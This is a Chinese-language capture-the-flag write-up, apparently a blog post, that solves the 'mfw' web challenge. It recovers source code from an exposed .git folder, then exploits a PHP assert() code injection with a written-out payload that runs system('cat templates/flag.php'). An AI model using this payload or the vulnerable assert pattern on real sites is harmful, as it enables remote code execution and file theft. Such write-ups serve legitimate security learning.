攻防世界mfw--详细笔记

打开之后发现有关于gif,php和bootstrap的信息,于是想到是不是又git源码

地址栏后面加.git

http://61.147.171.105:61123/.git/

发现存在git目录,使用kali的githacker下载,第一次使用需要安装

pip3 install GitHacker 

 githacker --url http://61.147.171.105:61123/ --output-folder 123

 下载后得到目录文件

经查找只有index存在信息,打开index.php查看代码

<?php

if (isset($_GET['page'])) {
        $page = $_GET['page'];
} else {
        $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
        <head>
                <meta charset="utf-8">
                <meta http-equiv="X-UA-Compatible" content="IE=edge">
                <meta name="viewport" content="width=device-width, initial-scale=1">
                
                <title>My PHP Website</title>
                
                <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
        </head>
        <body>
                <nav class="navbar navbar-inverse navbar-fixed-top">
                        <div class="container">
                        <div class="navbar-header">


关键代码段                                                                                                                     

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

分析:

 assert("xxxxxxxx")函数表示截断,会直接运行其中xxxxx代码,如果xxxxx运行结果为true,则程序继续运行,如果返回false,则返回错误程度中断运行。

strpos函数表示strpos('$a', '$b')如果变量a中存在变量b,则返回true,否则返回false

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//这个语句用于过滤..

or 和die的作用是如果assert函数执行正确的话,会返回true(这其实就

是“真”),后面的语句就不会执行了。如果assert函数执行失败,就会返回false,那么就会判断后面的表达式是否为真了。

结果执行了die()之后,不管返回什么,程序都已经停止执行了,并且显示指定的出错信息,也就达到了调试的目的。

根据此语句可以构造php代码注入

先用phpinfo试一下

http://61.147.171.105:61123/?page=’).phpinfo();//

使用system函数构造载荷

?page=').system('cat templates/flag.php');//

接在一起就是

assert("strpos(').system('cat templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");

执行后打开flag.php

查看网站源码后得到flag

<!--?php $FLAG="cyberpeace{d98815545c367222f2e6db4cd679fe18}"; ?--> 

思路参考自网上,有误请多指导

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Star1!ght

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值